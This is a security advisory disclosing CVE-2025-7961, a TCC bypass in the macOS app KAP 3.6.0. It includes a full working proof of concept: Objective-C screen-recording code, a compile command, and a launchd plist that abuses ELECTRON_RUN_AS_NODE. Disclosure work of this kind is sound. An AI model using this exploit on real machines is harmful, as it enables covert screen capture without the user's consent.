
KAP 3.6.0 - TCC Bypass
6,9
Medium
Discovered by
Offensive Team, Fluid Attacks
Summary
Full name
Code Injection using Electron Fuses in KAP 3.6.0 (3.6.0.1846) allowing TCC Bypass
Code name
State
Public
Release date
14 de ago. de 2025
Affected product
KAP
Vendor
Wulkano
Affected version(s)
3.6.0
Vulnerability name
TCC Bypass
Vulnerability type
Remotely exploitable
No
CVSS v4.0 vector string
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N
CVSS v4.0 base score
6.9
Exploit available
Yes
CVE ID(s)
Description
KAP versions prior to Version 3.6.0 on macOS contain a misconfiguration in the Node.js environment settings that could allow code execution by utilizing the 'ELECTRON_RUN_AS_NODE' environment variable or the "--inspect" option. This allows an attacker to bypass the TCC safe mechanism and capture audio or video without user consent.
Vulnerability
A misconfiguration vulnerability in KAP (all versions prior to 3.6.0) running on macOS allows for arbitrary code execution and evasion of macOS's Transparency, Consent, and Control (TCC) mechanism. This flaw stems from the Node.js environment settings, where manipulation of the ELECTRON_RUN_AS_NODE environment variable or the use of the --inspect option can be exploited.
An attacker can leverage this misconfiguration to execute malicious code, bypassing TCC protections. This could lead to the unauthorized capture of audio or video without explicit user consent, compromising system privacy.
PoC
1. Create the file screen.m in order to have a binary to record screen.
#import <Foundation/Foundation.h> #import <AVFoundation/AVFoundation.h> @interface ScreenRecorder : NSObject <AVCaptureFileOutputRecordingDelegate> @property (nonatomic, strong) AVCaptureSession *captureSession; @property (nonatomic, strong) AVCaptureMovieFileOutput *movieFileOutput; @property (nonatomic, strong) dispatch_queue_t sessionQueue; @property (nonatomic, copy) NSURL *outputURL; @property (nonatomic, assign) NSInteger durationInSeconds; // Record time - (instancetype)initWithDuration:(NSInteger)duration outputURL:(NSURL *)url; - (void)startRecording; - (void)stopRecording; @end @implementation ScreenRecorder - (instancetype)initWithDuration:(NSInteger)duration outputURL:(NSURL *)url { self = [super init]; if (self) { _durationInSeconds = duration; _outputURL = url; _sessionQueue = dispatch_queue_create("screenRecordingSessionQueue", DISPATCH_QUEUE_SERIAL); [self setupCaptureSession]; } return self; } - (void)setupCaptureSession { self.captureSession = [[AVCaptureSession alloc] init]; // capture screen AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()]; if (!screenInput) { NSLog(@"Error: can't get screenInput"); return; } // fps screenInput.minFrameDuration = CMTimeMake(1, 30); // 30 fps screenInput.capturesCursor = YES; // cursor screenInput.capturesMouseClicks = YES; // clicks if ([self.captureSession canAddInput:screenInput]) { [self.captureSession addInput:screenInput]; } else { NSLog(@"Error: can't add to screenInput"); return; } // output self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init]; // max time self.movieFileOutput.movieFragmentInterval = kCMTimeInvalid; if ([self.captureSession canAddOutput:self.movieFileOutput]) { [self.captureSession addOutput:self.movieFileOutput]; } else { NSLog(@"Error: can't add screenInput to output file."); return; } } - (void)startRecording { dispatch_async(self.sessionQueue, ^{ if (![self.captureSession isRunning]) { [self.captureSession startRunning]; NSLog(@"Initializing"); } // check old file if ([[NSFileManager defaultManager] fileExistsAtPath:self.outputURL.path]) { NSError *error = nil; [[NSFileManager defaultManager] removeItemAtURL:self.outputURL error:&error]; if (error) { NSLog(@"Error deleting file: %@", error.localizedDescription); } } // start recording [self.movieFileOutput startRecordingToOutputFileURL:self.outputURL recordingDelegate:self]; NSLog(@"recording: %@", self.outputURL.lastPathComponent); // dispatch timeout dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(self.durationInSeconds * NSEC_PER_SEC)), self.sessionQueue, ^{ [self stopRecording]; }); }); } - (void)stopRecording { dispatch_async(self.sessionQueue, ^{ if ([self.movieFileOutput isRecording]) { [self.movieFileOutput stopRecording]; NSLog(@"stop recording."); } }); } #pragma mark - AVCaptureFileOutputRecordingDelegate // call after recorded - (void)captureOutput:(AVCaptureFileOutput *)output didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL fromConnections:(NSArray *)connections error:(NSError *)error { if (error) { NSLog(@"Error stopping the recording: %@", error.localizedDescription); } else { NSLog(@"Success. File saved at : %@", outputFileURL.path); } // stop after finish dispatch_async(self.sessionQueue, ^{ if ([self.captureSession isRunning]) { [self.captureSession stopRunning]; NSLog(@"Recording Stopped."); } }); } @end // main int main(int argc, const char * argv[]) { @autoreleasepool { // output file @autoreleasepool { // path (Adapt to the specific user) NSString *targetDirectory = @"/Users/<user>/Desktop/KAP_CVE"; // complete path NSURL *outputVideoURL = [NSURL fileURLWithPath:[targetDirectory stringByAppendingPathComponent:@"screen-record.mov"]]; // check folder NSFileManager *fileManager = [NSFileManager defaultManager]; if (![fileManager fileExistsAtPath:targetDirectory]) { NSError *error = nil; [fileManager createDirectoryAtPath:targetDirectory withIntermediateDirectories:YES attributes:nil error:&error]; if (error) { NSLog(@"Error creating folder: %@", error.localizedDescription); } } // create ScreenRecorder instance ScreenRecorder *recorder = [[ScreenRecorder alloc] initWithDuration:5 outputURL:outputVideoURL]; // start recording [recorder startRecording]; NSLog(@"Waiting for 5 seconds ..."); [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:6.0]]; // 5s NSLog(@"Finished."); } } return 0; }
#import <Foundation/Foundation.h> #import <AVFoundation/AVFoundation.h> @interface ScreenRecorder : NSObject <AVCaptureFileOutputRecordingDelegate> @property (nonatomic, strong) AVCaptureSession *captureSession; @property (nonatomic, strong) AVCaptureMovieFileOutput *movieFileOutput; @property (nonatomic, strong) dispatch_queue_t sessionQueue; @property (nonatomic, copy) NSURL *outputURL; @property (nonatomic, assign) NSInteger durationInSeconds; // Record time - (instancetype)initWithDuration:(NSInteger)duration outputURL:(NSURL *)url; - (void)startRecording; - (void)stopRecording; @end @implementation ScreenRecorder - (instancetype)initWithDuration:(NSInteger)duration outputURL:(NSURL *)url { self = [super init]; if (self) { _durationInSeconds = duration; _outputURL = url; _sessionQueue = dispatch_queue_create("screenRecordingSessionQueue", DISPATCH_QUEUE_SERIAL); [self setupCaptureSession]; } return self; } - (void)setupCaptureSession { self.captureSession = [[AVCaptureSession alloc] init]; // capture screen AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()]; if (!screenInput) { NSLog(@"Error: can't get screenInput"); return; } // fps screenInput.minFrameDuration = CMTimeMake(1, 30); // 30 fps screenInput.capturesCursor = YES; // cursor screenInput.capturesMouseClicks = YES; // clicks if ([self.captureSession canAddInput:screenInput]) { [self.captureSession addInput:screenInput]; } else { NSLog(@"Error: can't add to screenInput"); return; } // output self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init]; // max time self.movieFileOutput.movieFragmentInterval = kCMTimeInvalid; if ([self.captureSession canAddOutput:self.movieFileOutput]) { [self.captureSession addOutput:self.movieFileOutput]; } else { NSLog(@"Error: can't add screenInput to output file."); return; } } - (void)startRecording { dispatch_async(self.sessionQueue, ^{ if (![self.captureSession isRunning]) { [self.captureSession startRunning]; NSLog(@"Initializing"); } // check old file if ([[NSFileManager defaultManager] fileExistsAtPath:self.outputURL.path]) { NSError *error = nil; [[NSFileManager defaultManager] removeItemAtURL:self.outputURL error:&error]; if (error) { NSLog(@"Error deleting file: %@", error.localizedDescription); } } // start recording [self.movieFileOutput startRecordingToOutputFileURL:self.outputURL recordingDelegate:self]; NSLog(@"recording: %@", self.outputURL.lastPathComponent); // dispatch timeout dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(self.durationInSeconds * NSEC_PER_SEC)), self.sessionQueue, ^{ [self stopRecording]; }); }); } - (void)stopRecording { dispatch_async(self.sessionQueue, ^{ if ([self.movieFileOutput isRecording]) { [self.movieFileOutput stopRecording]; NSLog(@"stop recording."); } }); } #pragma mark - AVCaptureFileOutputRecordingDelegate // call after recorded - (void)captureOutput:(AVCaptureFileOutput *)output didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL fromConnections:(NSArray *)connections error:(NSError *)error { if (error) { NSLog(@"Error stopping the recording: %@", error.localizedDescription); } else { NSLog(@"Success. File saved at : %@", outputFileURL.path); } // stop after finish dispatch_async(self.sessionQueue, ^{ if ([self.captureSession isRunning]) { [self.captureSession stopRunning]; NSLog(@"Recording Stopped."); } }); } @end // main int main(int argc, const char * argv[]) { @autoreleasepool { // output file @autoreleasepool { // path (Adapt to the specific user) NSString *targetDirectory = @"/Users/<user>/Desktop/KAP_CVE"; // complete path NSURL *outputVideoURL = [NSURL fileURLWithPath:[targetDirectory stringByAppendingPathComponent:@"screen-record.mov"]]; // check folder NSFileManager *fileManager = [NSFileManager defaultManager]; if (![fileManager fileExistsAtPath:targetDirectory]) { NSError *error = nil; [fileManager createDirectoryAtPath:targetDirectory withIntermediateDirectories:YES attributes:nil error:&error]; if (error) { NSLog(@"Error creating folder: %@", error.localizedDescription); } } // create ScreenRecorder instance ScreenRecorder *recorder = [[ScreenRecorder alloc] initWithDuration:5 outputURL:outputVideoURL]; // start recording [recorder startRecording]; NSLog(@"Waiting for 5 seconds ..."); [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:6.0]]; // 5s NSLog(@"Finished."); } } return 0; }
#import <Foundation/Foundation.h> #import <AVFoundation/AVFoundation.h> @interface ScreenRecorder : NSObject <AVCaptureFileOutputRecordingDelegate> @property (nonatomic, strong) AVCaptureSession *captureSession; @property (nonatomic, strong) AVCaptureMovieFileOutput *movieFileOutput; @property (nonatomic, strong) dispatch_queue_t sessionQueue; @property (nonatomic, copy) NSURL *outputURL; @property (nonatomic, assign) NSInteger durationInSeconds; // Record time - (instancetype)initWithDuration:(NSInteger)duration outputURL:(NSURL *)url; - (void)startRecording; - (void)stopRecording; @end @implementation ScreenRecorder - (instancetype)initWithDuration:(NSInteger)duration outputURL:(NSURL *)url { self = [super init]; if (self) { _durationInSeconds = duration; _outputURL = url; _sessionQueue = dispatch_queue_create("screenRecordingSessionQueue", DISPATCH_QUEUE_SERIAL); [self setupCaptureSession]; } return self; } - (void)setupCaptureSession { self.captureSession = [[AVCaptureSession alloc] init]; // capture screen AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()]; if (!screenInput) { NSLog(@"Error: can't get screenInput"); return; } // fps screenInput.minFrameDuration = CMTimeMake(1, 30); // 30 fps screenInput.capturesCursor = YES; // cursor screenInput.capturesMouseClicks = YES; // clicks if ([self.captureSession canAddInput:screenInput]) { [self.captureSession addInput:screenInput]; } else { NSLog(@"Error: can't add to screenInput"); return; } // output self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init]; // max time self.movieFileOutput.movieFragmentInterval = kCMTimeInvalid; if ([self.captureSession canAddOutput:self.movieFileOutput]) { [self.captureSession addOutput:self.movieFileOutput]; } else { NSLog(@"Error: can't add screenInput to output file."); return; } } - (void)startRecording { dispatch_async(self.sessionQueue, ^{ if (![self.captureSession isRunning]) { [self.captureSession startRunning]; NSLog(@"Initializing"); } // check old file if ([[NSFileManager defaultManager] fileExistsAtPath:self.outputURL.path]) { NSError *error = nil; [[NSFileManager defaultManager] removeItemAtURL:self.outputURL error:&error]; if (error) { NSLog(@"Error deleting file: %@", error.localizedDescription); } } // start recording [self.movieFileOutput startRecordingToOutputFileURL:self.outputURL recordingDelegate:self]; NSLog(@"recording: %@", self.outputURL.lastPathComponent); // dispatch timeout dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(self.durationInSeconds * NSEC_PER_SEC)), self.sessionQueue, ^{ [self stopRecording]; }); }); } - (void)stopRecording { dispatch_async(self.sessionQueue, ^{ if ([self.movieFileOutput isRecording]) { [self.movieFileOutput stopRecording]; NSLog(@"stop recording."); } }); } #pragma mark - AVCaptureFileOutputRecordingDelegate // call after recorded - (void)captureOutput:(AVCaptureFileOutput *)output didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL fromConnections:(NSArray *)connections error:(NSError *)error { if (error) { NSLog(@"Error stopping the recording: %@", error.localizedDescription); } else { NSLog(@"Success. File saved at : %@", outputFileURL.path); } // stop after finish dispatch_async(self.sessionQueue, ^{ if ([self.captureSession isRunning]) { [self.captureSession stopRunning]; NSLog(@"Recording Stopped."); } }); } @end // main int main(int argc, const char * argv[]) { @autoreleasepool { // output file @autoreleasepool { // path (Adapt to the specific user) NSString *targetDirectory = @"/Users/<user>/Desktop/KAP_CVE"; // complete path NSURL *outputVideoURL = [NSURL fileURLWithPath:[targetDirectory stringByAppendingPathComponent:@"screen-record.mov"]]; // check folder NSFileManager *fileManager = [NSFileManager defaultManager]; if (![fileManager fileExistsAtPath:targetDirectory]) { NSError *error = nil; [fileManager createDirectoryAtPath:targetDirectory withIntermediateDirectories:YES attributes:nil error:&error]; if (error) { NSLog(@"Error creating folder: %@", error.localizedDescription); } } // create ScreenRecorder instance ScreenRecorder *recorder = [[ScreenRecorder alloc] initWithDuration:5 outputURL:outputVideoURL]; // start recording [recorder startRecording]; NSLog(@"Waiting for 5 seconds ..."); [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:6.0]]; // 5s NSLog(@"Finished."); } } return 0; }
#import <Foundation/Foundation.h> #import <AVFoundation/AVFoundation.h> @interface ScreenRecorder : NSObject <AVCaptureFileOutputRecordingDelegate> @property (nonatomic, strong) AVCaptureSession *captureSession; @property (nonatomic, strong) AVCaptureMovieFileOutput *movieFileOutput; @property (nonatomic, strong) dispatch_queue_t sessionQueue; @property (nonatomic, copy) NSURL *outputURL; @property (nonatomic, assign) NSInteger durationInSeconds; // Record time - (instancetype)initWithDuration:(NSInteger)duration outputURL:(NSURL *)url; - (void)startRecording; - (void)stopRecording; @end @implementation ScreenRecorder - (instancetype)initWithDuration:(NSInteger)duration outputURL:(NSURL *)url { self = [super init]; if (self) { _durationInSeconds = duration; _outputURL = url; _sessionQueue = dispatch_queue_create("screenRecordingSessionQueue", DISPATCH_QUEUE_SERIAL); [self setupCaptureSession]; } return self; } - (void)setupCaptureSession { self.captureSession = [[AVCaptureSession alloc] init]; // capture screen AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()]; if (!screenInput) { NSLog(@"Error: can't get screenInput"); return; } // fps screenInput.minFrameDuration = CMTimeMake(1, 30); // 30 fps screenInput.capturesCursor = YES; // cursor screenInput.capturesMouseClicks = YES; // clicks if ([self.captureSession canAddInput:screenInput]) { [self.captureSession addInput:screenInput]; } else { NSLog(@"Error: can't add to screenInput"); return; } // output self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init]; // max time self.movieFileOutput.movieFragmentInterval = kCMTimeInvalid; if ([self.captureSession canAddOutput:self.movieFileOutput]) { [self.captureSession addOutput:self.movieFileOutput]; } else { NSLog(@"Error: can't add screenInput to output file."); return; } } - (void)startRecording { dispatch_async(self.sessionQueue, ^{ if (![self.captureSession isRunning]) { [self.captureSession startRunning]; NSLog(@"Initializing"); } // check old file if ([[NSFileManager defaultManager] fileExistsAtPath:self.outputURL.path]) { NSError *error = nil; [[NSFileManager defaultManager] removeItemAtURL:self.outputURL error:&error]; if (error) { NSLog(@"Error deleting file: %@", error.localizedDescription); } } // start recording [self.movieFileOutput startRecordingToOutputFileURL:self.outputURL recordingDelegate:self]; NSLog(@"recording: %@", self.outputURL.lastPathComponent); // dispatch timeout dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(self.durationInSeconds * NSEC_PER_SEC)), self.sessionQueue, ^{ [self stopRecording]; }); }); } - (void)stopRecording { dispatch_async(self.sessionQueue, ^{ if ([self.movieFileOutput isRecording]) { [self.movieFileOutput stopRecording]; NSLog(@"stop recording."); } }); } #pragma mark - AVCaptureFileOutputRecordingDelegate // call after recorded - (void)captureOutput:(AVCaptureFileOutput *)output didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL fromConnections:(NSArray *)connections error:(NSError *)error { if (error) { NSLog(@"Error stopping the recording: %@", error.localizedDescription); } else { NSLog(@"Success. File saved at : %@", outputFileURL.path); } // stop after finish dispatch_async(self.sessionQueue, ^{ if ([self.captureSession isRunning]) { [self.captureSession stopRunning]; NSLog(@"Recording Stopped."); } }); } @end // main int main(int argc, const char * argv[]) { @autoreleasepool { // output file @autoreleasepool { // path (Adapt to the specific user) NSString *targetDirectory = @"/Users/<user>/Desktop/KAP_CVE"; // complete path NSURL *outputVideoURL = [NSURL fileURLWithPath:[targetDirectory stringByAppendingPathComponent:@"screen-record.mov"]]; // check folder NSFileManager *fileManager = [NSFileManager defaultManager]; if (![fileManager fileExistsAtPath:targetDirectory]) { NSError *error = nil; [fileManager createDirectoryAtPath:targetDirectory withIntermediateDirectories:YES attributes:nil error:&error]; if (error) { NSLog(@"Error creating folder: %@", error.localizedDescription); } } // create ScreenRecorder instance ScreenRecorder *recorder = [[ScreenRecorder alloc] initWithDuration:5 outputURL:outputVideoURL]; // start recording [recorder startRecording]; NSLog(@"Waiting for 5 seconds ..."); [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:6.0]]; // 5s NSLog(@"Finished."); } } return 0; }
2. Compile the above code with
gcc -framework Foundation -framework AVFoundation -framework CoreGraphics -framework CoreMedia screen.m -o screen
gcc -framework Foundation -framework AVFoundation -framework CoreGraphics -framework CoreMedia screen.m -o screen
gcc -framework Foundation -framework AVFoundation -framework CoreGraphics -framework CoreMedia screen.m -o screen
gcc -framework Foundation -framework AVFoundation -framework CoreGraphics -framework CoreMedia screen.m -o screen
3. Create the file bypass.plist to launch the daemon.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>EnvironmentVariables</key> <dict> <key>ELECTRON_RUN_AS_NODE</key> <string>true</string> </dict> <key>Label</key> <string>com.kap.tcc.bypass</string> <key>ProgramArguments</key> <array> <string>/Applications/Kap.app/Contents/MacOS/Kap</string> <string>-e</string> <!--Replace the path_to_screen with the path to the screen binary--> <string>const { spawn } = require("child_process"); spawn("<path_to_screen>");</string> </array> <key>RunAtLoad</key> <true /> </dict> </plist>
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>EnvironmentVariables</key> <dict> <key>ELECTRON_RUN_AS_NODE</key> <string>true</string> </dict> <key>Label</key> <string>com.kap.tcc.bypass</string> <key>ProgramArguments</key> <array> <string>/Applications/Kap.app/Contents/MacOS/Kap</string> <string>-e</string> <!--Replace the path_to_screen with the path to the screen binary--> <string>const { spawn } = require("child_process"); spawn("<path_to_screen>");</string> </array> <key>RunAtLoad</key> <true /> </dict> </plist>
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>EnvironmentVariables</key> <dict> <key>ELECTRON_RUN_AS_NODE</key> <string>true</string> </dict> <key>Label</key> <string>com.kap.tcc.bypass</string> <key>ProgramArguments</key> <array> <string>/Applications/Kap.app/Contents/MacOS/Kap</string> <string>-e</string> <!--Replace the path_to_screen with the path to the screen binary--> <string>const { spawn } = require("child_process"); spawn("<path_to_screen>");</string> </array> <key>RunAtLoad</key> <true /> </dict> </plist>
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>EnvironmentVariables</key> <dict> <key>ELECTRON_RUN_AS_NODE</key> <string>true</string> </dict> <key>Label</key> <string>com.kap.tcc.bypass</string> <key>ProgramArguments</key> <array> <string>/Applications/Kap.app/Contents/MacOS/Kap</string> <string>-e</string> <!--Replace the path_to_screen with the path to the screen binary--> <string>const { spawn } = require("child_process"); spawn("<path_to_screen>");</string> </array> <key>RunAtLoad</key> <true /> </dict> </plist>
4. Launch the daemon.
launchctl load bypass.plist
launchctl load bypass.plist
launchctl load bypass.plist
launchctl load bypass.plist
Evidence of Exploitation

Our security policy
We have reserved the ID CVE-2025-7961 to refer to this issue from now on.
System Information
KAP:
Version 3.6.0 (3.6.0.1846)
Operating System: macOS
References
Github Repository: https://github.com/wulkano/Kap
Download Software: https://getkap.co/
Vendor's Site: http://wulkano.com/
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team.
Timeline
14 de jul. de 2025
Vulnerability discovered
23 de jul. de 2025
Vendor contacted
14 de ago. de 2025
Public disclosure
Does your application use this vulnerable software?
During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.
Assine nossa newsletter
Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.
© 2026 Fluid Attacks. We hack your software.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.
Assine nossa newsletter
Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.
Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.
© 2026 Fluid Attacks. We hack your software.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.
Assine nossa newsletter
Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.
Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.
© 2026 Fluid Attacks. We hack your software.
Nos vemos na RSA Conference™ 2026, no estande N-4614! Agende uma demo no local.
Nos vemos na RSA Conference™ 2026, no estande N-4614! Agende uma demo no local.
Nos vemos na RSA Conference™ 2026, no estande N-4614! Agende uma demo no local.





